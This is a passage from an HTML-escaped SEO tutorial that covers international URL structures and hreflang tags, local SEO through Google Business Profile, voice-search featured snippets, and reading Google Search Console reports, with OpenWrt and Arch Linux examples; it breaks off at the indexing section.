&lt;p&gt;International SEO is a set of technical specifications designed to clearly tell search engines: &lt;strong&gt;which countries and/or languages my site provides content for, and what the correspondence between these different versions is&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Done right, this prevents content from being treated as duplicate because of language differences, and ensures the correct language version appears in the search results for the corresponding country/region. Done wrong, it can cause traffic chaos and even damage rankings&lt;/p&gt;
&lt;h3&gt;12.1 Choosing a URL structure&lt;/h3&gt;
&lt;p&gt;Your first step toward going global, and the most important architectural decision. You have three main ways to organize multilingual content, each with clear technical pros and cons and signal strength&lt;/p&gt;
&lt;p&gt;:::yellow[ccTLDs]
&lt;strong&gt;Structure&lt;/strong&gt;: &lt;code&gt;chongxi.jp&lt;/code&gt; (Japanese), &lt;code&gt;chongxi.us&lt;/code&gt; (English)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Strongest geolocation signal&lt;/strong&gt;: the &lt;code&gt;.jp&lt;/code&gt; domain itself strongly tells Google and users: &quot;this site is specifically for the Japanese market.&quot; This is a huge advantage for local rankings&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flexible server location&lt;/strong&gt;: you can put the &lt;code&gt;.jp&lt;/code&gt; server in Tokyo and the &lt;code&gt;.de&lt;/code&gt; server in Frankfurt, giving local users the fastest access speed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;High cost&lt;/strong&gt;: you need to register and manage multiple domains.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diluted authority&lt;/strong&gt;: each domain is an independent site; you need to build backlinks and authority separately for &lt;code&gt;.jp&lt;/code&gt; and &lt;code&gt;.de&lt;/code&gt;, and they &lt;strong&gt;do not automatically inherit&lt;/strong&gt; from each other&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Suitable for&lt;/strong&gt;: large multinational brands with ample budget and local operations teams. For personal blogs, this is usually not the first choice
:::&lt;/p&gt;
&lt;p&gt;:::yellow[Subdirectories/Subfolders]
&lt;strong&gt;Structure&lt;/strong&gt;: &lt;code&gt;chongxi.us/ja/&lt;/code&gt; (Japanese), &lt;code&gt;chongxi.us/en/&lt;/code&gt; (English)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pros&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Concentrated authority&lt;/strong&gt;: all language versions live under the same main domain; they share and jointly contribute to the overall authority of &lt;code&gt;chongxi.us&lt;/code&gt;. Backlinks you earn for the English version also pass weight to the Japanese version, and vice versa. &lt;strong&gt;This is the biggest advantage.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Low maintenance cost&lt;/strong&gt;: only one site, one hosting account and one SSL certificate to manage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Easy setup&lt;/strong&gt;: the easiest to implement technically.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cons&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geolocation signals are relatively weak (but this can be compensated for with GSC settings)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Suitable for&lt;/strong&gt;: &lt;strong&gt;for the vast majority of sites, this is the most recommended and most powerful option&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;:::yellow[Subdomains]
&lt;strong&gt;Structure&lt;/strong&gt;: &lt;code&gt;ja.chongxi.us&lt;/code&gt;, &lt;code&gt;en.chongxi.us&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Somewhere between the first two. Google officially says it now handles weight transfer between subdomains well, but the SEO industry generally believes its authority concentration is still &lt;strong&gt;slightly worse than&lt;/strong&gt; subdirectories&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Suitable for&lt;/strong&gt;: when different language versions differ hugely in content, design or even functionality and need to be fully isolated technically. For example, a main site that&apos;s an e-commerce store and a Japanese site that&apos;s a pure content blog
:::&lt;/p&gt;
&lt;h3&gt;12.2 Core technical implementation&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;hreflang&lt;/code&gt; is an HTML &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tag attribute whose job is to precisely declare to Google: &lt;strong&gt;the German version of this page is here, the Japanese version is there, and this version is the default English one&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::yellow[Characteristics]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Solves the duplicate content problem&lt;/strong&gt;:&lt;br /&gt;
Prevents Google from treating the English and Japanese translations of your &lt;em&gt;Arch Linux Installation Guide&lt;/em&gt; as plagiarism&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provides the right search results&lt;/strong&gt;:&lt;br /&gt;
Ensures Japanese users searching on &lt;code&gt;google.co.jp&lt;/code&gt; see your Japanese article rather than the English one
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::red[Implementation rules]
The implementation is extremely strict; not one mistake is allowed&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reciprocal&lt;/strong&gt;:&lt;br /&gt;
If page A links to page B, then page B &lt;strong&gt;must&lt;/strong&gt; link back to page A&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-referential&lt;/strong&gt;:&lt;br /&gt;
Every page &lt;strong&gt;must&lt;/strong&gt; have an &lt;code&gt;hreflang&lt;/code&gt; tag pointing to itself&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Include &lt;code&gt;x-default&lt;/code&gt;&lt;/strong&gt;:&lt;br /&gt;
You should designate a default or fallback version, to which users are directed when their language or region doesn&apos;t match any version you provide
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
Suppose an article has three versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;English (default): &lt;code&gt;/en/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Japanese: &lt;code&gt;/ja/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Simplified Chinese: &lt;code&gt;/zh-hans/music/xi&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of &lt;strong&gt;all three pages&lt;/strong&gt;, you &lt;strong&gt;must&lt;/strong&gt; include the &lt;strong&gt;exactly identical&lt;/strong&gt; block below:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```html
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;en&quot; href=&quot;/en/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;ja&quot; href=&quot;/ja/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;zh-Hans&quot; href=&quot;/zh-hans/music/xi&quot; /&amp;gt;
&amp;lt;link rel=&quot;alternate&quot; hreflang=&quot;x-default&quot; href=&quot;/en/music/xi&quot; /&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Language and region codes&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You must use &lt;strong&gt;ISO 639-1&lt;/strong&gt; format for languages (e.g. &lt;code&gt;en&lt;/code&gt;, &lt;code&gt;ja&lt;/code&gt;, &lt;code&gt;zh&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;You can append &lt;strong&gt;ISO 3166-1 Alpha 2&lt;/strong&gt; format for regions (e.g. &lt;code&gt;en-GB&lt;/code&gt; for British English, &lt;code&gt;en-US&lt;/code&gt; for American English)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note&lt;/strong&gt;: &lt;code&gt;zh-Hans&lt;/code&gt; and &lt;code&gt;zh-Hant&lt;/code&gt; are exceptions; they are script codes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Deployment methods&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;&lt;/strong&gt;: most common, as in the example above&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP response headers&lt;/strong&gt;: suitable for non-HTML files (such as PDF)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XML sitemaps&lt;/strong&gt;: when the number of pages is huge, this is the most efficient and most recommended management method
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;12.3 Content and servers&lt;/h3&gt;
&lt;p&gt;Technical tags are only the foundation; content and experience are what decide success or failure&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Localize content, don&apos;t machine-translate it&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Don&apos;t simply use Google Translate on your &lt;em&gt;OpenWrt Bypass Router Tutorial&lt;/em&gt;. You need someone who &lt;strong&gt;truly understands both the technology and the target language&lt;/strong&gt; to do the &lt;strong&gt;localization&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Localization means&lt;/strong&gt;:&lt;br /&gt;
Replacing the UI screenshots in the article with versions in the corresponding language, using the customary terminology of the local tech scene, and even offering specific advice based on local users&apos; network environment (such as ISP characteristics)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Server location&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Although CDNs have largely solved the problem of global access speed, hosting your server in the region where your main target users are is still a positive ranking signal&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Google Search Console geolocation targeting&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For sites using a &lt;strong&gt;gTLD&lt;/strong&gt; (such as &lt;code&gt;.com&lt;/code&gt;, &lt;code&gt;.net&lt;/code&gt;, &lt;code&gt;.org&lt;/code&gt;) with a &lt;strong&gt;subdirectory or subdomain&lt;/strong&gt; setup, you can find &lt;strong&gt;International Targeting&lt;/strong&gt; in GSC&apos;s legacy tools to report&lt;/li&gt;
&lt;li&gt;You can explicitly tell Google: content under the &lt;code&gt;/ja/&lt;/code&gt; subdirectory is specifically aimed at &lt;strong&gt;Japanese&lt;/strong&gt; users, which can compensate for the weakness of gTLD geolocation signals&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;International SEO is very precise: it requires you to make strategic decisions about URL architecture, strictly follow the &lt;code&gt;hreflang&lt;/code&gt; specification in implementation, and genuinely consider local users at the content level. Done right, you can truly look global; done wrong, it can lead to a chaotic SEO disaster — for example, Google treating all your translated versions as plagiarized content and wiping them out&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;13. Local SEO&lt;/h2&gt;
&lt;p&gt;Local SEO is a set of optimization strategies aimed at improving the visibility of your business or site in search results for a &lt;strong&gt;specific geographic area&lt;/strong&gt;. For businesses with physical storefronts, businesses offering regional services, or local community blogs hoping to attract users in a particular city, local SEO is a matter of survival&lt;/p&gt;
&lt;p&gt;Its core logic is: when a user&apos;s search query carries &lt;strong&gt;explicit&lt;/strong&gt; (e.g. Guangzhou maimai DX arcade) or &lt;strong&gt;implicit&lt;/strong&gt; (e.g. opening a phone in Guangzhou and searching for a nearby maimai arcade) local intent, the search engine&apos;s ranking algorithm introduces a whole set of &lt;strong&gt;new local ranking factors with very high weight&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;13.1 The three cores of local SEO&lt;/h3&gt;
&lt;h4&gt;13.1.1 Proximity&lt;/h4&gt;
&lt;p&gt;This is the simplest, most brutal, and highest-weight factor&lt;br /&gt;
When users search, the closer a business is to their physical location, the better its ranking advantage. We can hardly optimize this; it&apos;s a law in the physical sense&lt;/p&gt;
&lt;h4&gt;13.1.2 Relevance&lt;/h4&gt;
&lt;p&gt;How well your business matches the user&apos;s search query. This is similar to the traditional SEO principles we discussed earlier, but focuses more on localized content and services; searching for a restaurant will absolutely never surface a maimai arcade&lt;/p&gt;
&lt;h4&gt;13.1.2 Prominence&lt;/h4&gt;
&lt;p&gt;How famous, well-reviewed and trusted your business is locally. This is where our optimization focus lies&lt;/p&gt;
&lt;h4&gt;13.2 In-depth optimization of Google Business Profile&lt;/h4&gt;
&lt;p&gt;Google Business Profile (formerly Google My Business) is the &lt;strong&gt;absolute core&lt;/strong&gt; of local SEO and your &lt;code&gt;official business card&lt;/code&gt; in Google Maps and the local results pack. You must optimize it as carefully as you do your website&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Accuracy and consistency of information&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NAP&lt;/strong&gt; stands for &lt;strong&gt;Name, Address, Phone&lt;/strong&gt;
These three pieces of information must stay &lt;strong&gt;100%, character-for-character identical&lt;/strong&gt; across all of your business information online&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Is your company name exactly the same on your GBP name, your official site&apos;s contact page and local industry sites?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XX Tech and XX Technology Co., Ltd. are two different entities in the eyes of the algorithm&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Is the address format consistent?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;123 Renmin Road &amp;amp; 123 Renmin Road&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Is the phone number format consistent?
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Global NAP consistency is a core signal Google uses to verify your business&apos;s authenticity. Any inconsistency makes it doubt your entity information&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GBP categories&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;You have one &lt;strong&gt;primary category&lt;/strong&gt; and multiple &lt;strong&gt;secondary categories&lt;/strong&gt;. The primary category should be the one that best represents your core business&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A company mainly selling OpenWrt router technical support services should have &quot;IT consultant&quot; or &quot;Computer support and services&quot; as its primary category&lt;/li&gt;
&lt;li&gt;A maimai DX arcade&apos;s primary category is &quot;Amusement center&quot; or &quot;Video arcade&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Choose all secondary categories relevant to your business in as much detail as possible
:::&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reviews&lt;/strong&gt;
The number of reviews, the star rating, and &lt;strong&gt;the keywords that appear in review content&lt;/strong&gt; are all strong ranking signals
:::blue[EXAMPLE]&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ask for reviews proactively&lt;/strong&gt;: after a service is completed, politely invite satisfied customers to leave a review by email or text, and you can provide your GBP review link directly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reply to every review&lt;/strong&gt;: whether positive or negative, reply professionally and promptly. This shows Google and users that you&apos;re proactive and responsible. In your replies, you can naturally mention your service or product name again
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Google Posts Q&amp;amp;A&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Google Posts&lt;/strong&gt;: essentially a mini blog on your GBP. You can use it to announce the latest events, product introductions and promotions. Posts are time-sensitive and need to be updated continuously&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Q&amp;amp;A&lt;/strong&gt;: users can ask questions on your GBP. You should &lt;strong&gt;proactively&lt;/strong&gt; post some frequently asked questions here and answer them yourself, preemptively resolving users&apos; concerns&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.3 On-site localization optimization&lt;/h3&gt;
&lt;p&gt;You need to fill your site content with local signals too&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Local landing pages&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you offer services in multiple cities, you should create an independent landing page with unique content for &lt;strong&gt;each city&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;code&gt;chongxi.us/openwrt-support/Tokyo&lt;/code&gt;
This page should include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The city name explicitly in the title and H1 (e.g. Tokyo OpenWrt on-site configuration service)&lt;/li&gt;
&lt;li&gt;A detailed description of your service features in the Tokyo area in the page body&lt;/li&gt;
&lt;li&gt;An embedded Google Map of the regional office&lt;/li&gt;
&lt;li&gt;Testimonials from local Tokyo customers.&lt;/li&gt;
&lt;li&gt;A local phone number
:::
&lt;strong&gt;&lt;code&gt;LocalBusiness&lt;/code&gt; Schema&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;On your site&apos;s contact page or footer, deploy &lt;code&gt;LocalBusiness&lt;/code&gt; Schema to tell search engines your NAP, business hours and other information in a structured way&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;13.4 Local citations&lt;/h3&gt;
&lt;p&gt;This means your business&apos;s NAP information being mentioned anywhere on the internet, &lt;strong&gt;even without linking to your site&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sources are usually: local chamber of commerce sites, industry association directories, online maps (such as Amap, Baidu Maps), Dianping and so on&lt;br /&gt;
As with GBP, &lt;strong&gt;keep NAP information 100% consistent across all citation sources&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I recommend aggressively searching for your own brand to check and correct inconsistent citations&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;14. Conversational AI SEO&lt;/h2&gt;
&lt;p&gt;Voice search represents an evolution in search behavior: from &lt;strong&gt;keywords&lt;/strong&gt; to &lt;strong&gt;natural language questions&lt;/strong&gt;. Users no longer type OpenWrt adguardhome dns; they ask a smart speaker directly: Hey Google, how do I set up AdGuard Home on OpenWrt to filter DNS?&lt;/p&gt;
&lt;p&gt;Optimizing for voice search is essentially &lt;strong&gt;answering questions better&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;14.1 Understand the characteristics of voice search queries&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Longer and more conversational&lt;/strong&gt;: voice queries are longer on average and are usually complete questions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clearer intent&lt;/strong&gt;: usually seeking a direct, concise answer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strongly local&lt;/strong&gt;: many voice searches are about &quot;nearby...&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;14.2 Featured snippets&lt;/h3&gt;
&lt;p&gt;A featured snippet is a special information box at the very top of Google search results that directly answers the user&apos;s question. &lt;strong&gt;Voice assistants (such as Google Assistant) usually read out the featured snippet when answering questions.&lt;/strong&gt; So winning the featured snippet is winning voice search&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Identify question-type queries&lt;/strong&gt;: use GSC or third-party tools to find queries that already rank on the first page of your site and start with &quot;how&quot;, &quot;what&quot; or &quot;why&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provide concise, direct answers&lt;/strong&gt;: in your article, right after the question heading (H2/H3), answer the question directly and clearly in one paragraph (usually between 40 and 60 words)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For example&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;H2&lt;/strong&gt;: &lt;code&gt;&amp;lt;h2&amp;gt;什么是OpenWrt的旁路由模式？&amp;lt;/h2&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;strong&gt;The paragraph right after it&lt;/strong&gt;: &lt;code&gt;&amp;lt;p&amp;gt;OpenWrt的旁路由模式，指的是在不改变现有主网络结构的前提下，将一台运行OpenWrt系统的设备作为旁路网关接入局域网。它不负责主要的路由和DHCP功能，而是专门处理特定任务，如广告过滤、科学上网或网络加速，实现对全屋设备的透明代理&lt;/code&gt;&lt;br /&gt;
This paragraph&apos;s structure and length make it a perfect featured snippet candidate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Use ordered/unordered lists&lt;/strong&gt;: for step-by-step or list-type questions, use &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; tags to organize the content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use FAQPage Schema&lt;/strong&gt;: deploying &lt;code&gt;FAQPage&lt;/code&gt; Schema for Q&amp;amp;A content on a page can increase your chances of being selected as a featured snippet
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;14.3 Make content more conversational&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Writing style&lt;/strong&gt;: when writing, imagine that you&apos;re answering a friend&apos;s question directly. Use more natural, colloquial language&lt;br /&gt;
&lt;strong&gt;Content structure&lt;/strong&gt;: use Q&amp;amp;A structures more often to organize your articles&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Of course, mind your audience: if your site doesn&apos;t need conversational AI, there&apos;s no need to do this part of the optimization&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;15. Monitoring and Optimization&lt;/h2&gt;
&lt;h3&gt;15.1 Google Search Console&lt;/h3&gt;
&lt;p&gt;GSC is a free tool provided directly by Google, the starting point and endpoint of all SEO work. It tells you how Google &lt;strong&gt;views&lt;/strong&gt; your site&lt;/p&gt;
&lt;h4&gt;15.1.1 Basic GSC setup&lt;/h4&gt;
&lt;p&gt;:::blue[Basic setup]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Verify ownership of your site&lt;/strong&gt;:
Log in to GSC and add your site&apos;s domain. Google offers several verification methods. For technical people, the recommended one is &lt;strong&gt;DNS record&lt;/strong&gt; verification. You need to log in to your domain provider (such as Cloudflare) and add a TXT record provided by Google&lt;br /&gt;
This way, once verified, all subdomains and protocols (http/https) under your domain are covered — one and done&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Submit your sitemap&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Left menu &amp;gt; Indexing &amp;gt; &lt;strong&gt;Sitemaps&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In the &quot;Add a new sitemap&quot; input box, enter your sitemap URL (e.g. &lt;code&gt;/sitemap.xml&lt;/code&gt;), then click submit&lt;/li&gt;
&lt;li&gt;This is effectively handing Google a &lt;strong&gt;fresh list of your site&apos;s content&lt;/strong&gt;. After you publish new content, as long as your sitemap has been updated, you can come back and resubmit (or wait for Google to crawl it). This &lt;strong&gt;speeds up discovery of new content&lt;/strong&gt;. After submitting, you can see whether Google processed your sitemap successfully and how many URLs it found. If the status shows &quot;Has errors&quot;, you must click in to view the details and fix them
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;15.1.2 Reading Performance&lt;/h4&gt;
&lt;p&gt;This is the report you&apos;ll visit most. It tells you &lt;strong&gt;what users searched for&lt;/strong&gt; on Google, &lt;strong&gt;how many times they saw you&lt;/strong&gt;, &lt;strong&gt;how many times they clicked you&lt;/strong&gt;, and &lt;strong&gt;what position you rank&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Total clicks&lt;/strong&gt;: the number of times users clicked into your site from Google search results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total impressions&lt;/strong&gt;: the number of times your page appeared on a user&apos;s search results screen. It counts every appearance, whether or not the user saw or clicked it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Average CTR&lt;/strong&gt;: &lt;code&gt;clicks / impressions&lt;/code&gt;. This is the core metric for your search result&apos;s &lt;strong&gt;attractiveness&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Average position&lt;/strong&gt;: the average position of your page in search results
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[Practical analysis I]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Go to the &quot;Performance&quot; report. In the table below, click the &quot;Queries&quot; tab. Click the filter button (three horizontal lines), set &lt;code&gt;Position smaller than 10.1&lt;/code&gt; (to filter for results on the first page). Then click the &quot;Impressions&quot; header to sort descending&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Look for keywords with &lt;strong&gt;high impressions&lt;/strong&gt; but &lt;strong&gt;CTR noticeably below&lt;/strong&gt; the level their position should yield&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;The CTR for position 1 is about 25-30%, position 3 about 10-15%, position 5 about 5-8%, position 10 about 1-2%&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;You find that your query &quot;&lt;strong&gt;Arch Linux i3wm configuration&lt;/strong&gt;&quot; gets 20,000 impressions a month with an average position of 4.5, but a CTR of only 2%&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;This means your content quality is good enough that Google is willing to rank it high on the first page. But when users see your search result, they &lt;strong&gt;choose not to click it&lt;/strong&gt;. The problem is 99% your &lt;strong&gt;storefront&lt;/strong&gt;: your &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag and &lt;code&gt;&amp;lt;meta name=&quot;description&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;4.&lt;strong&gt;Go search this term on Google immediately&lt;/strong&gt; and see how the competitors ranked above and below you write their titles. Do they use more compelling phrasing like [Ultimate Guide], [with complete config files], and so on?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rewrite your title and description&lt;/strong&gt;. Don&apos;t just use Arch Linux i3wm configuration. Try: &lt;strong&gt;An Arch Linux i3wm Rice Guide from Zero (with Complete Polybar/Rofi/Picom Config)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Submit the URL for re-indexing&lt;/strong&gt;: after modifying the code, copy this page&apos;s URL, paste it into the &quot;Inspect any URL&quot; box at the top of GSC and press Enter. On the inspection results page, click &quot;&lt;strong&gt;Request Indexing&lt;/strong&gt;&quot;. This tells Google you&apos;ve updated the page and proactively requests indexing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Keep tracking&lt;/strong&gt;: over the next week or two, come back to this report every day, filter for this keyword, and watch whether its CTR improves significantly
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[Practical analysis II]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;In the &quot;Performance&quot; report, set the filter &lt;code&gt;Position greater than 10.1&lt;/code&gt; and &lt;code&gt;Position smaller than 30.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What&apos;s listed here is every keyword ranking on pages two and three of Google. These are the potential winners&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You find that for the query &quot;&lt;strong&gt;OpenWrt DNS leak&lt;/strong&gt;&quot;, you rank 18th&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This shows Google already recognizes your page&apos;s relevance, but not enough to get it onto the first page. You need to give it the final push to make it fly&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open the corresponding article. Did you only cover the basic configuration? Can you add a section specifically about using iptables rules to &lt;strong&gt;forcibly take over the DNS requests of all devices&lt;/strong&gt; to try to eliminate DNS leaks? Can you add a comparison of &lt;strong&gt;DoH/DoT&lt;/strong&gt; and configuration methods?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In other high-authority related articles on your site (such as your &lt;em&gt;OpenWrt Bypass Router Configuration Guide&lt;/em&gt;), find suitable anchor text (e.g. &quot;preventing DNS leaks&quot;) and link to this 18th-ranked article. This is effectively casting a trust vote for this promising page from a star page on your site&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If possible, go to relevant tech forums (such as Enshan and V2EX) and see if anyone is discussing DNS leak issues; you can offer a professional answer and naturally include a link to your article in your signature or answer
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;15.1.3 Reading Indexing&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Path&lt;/strong&gt;: left menu &amp;gt; Indexing &amp;gt; &lt;strong&gt;Pages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key focus&lt;/strong&gt;:
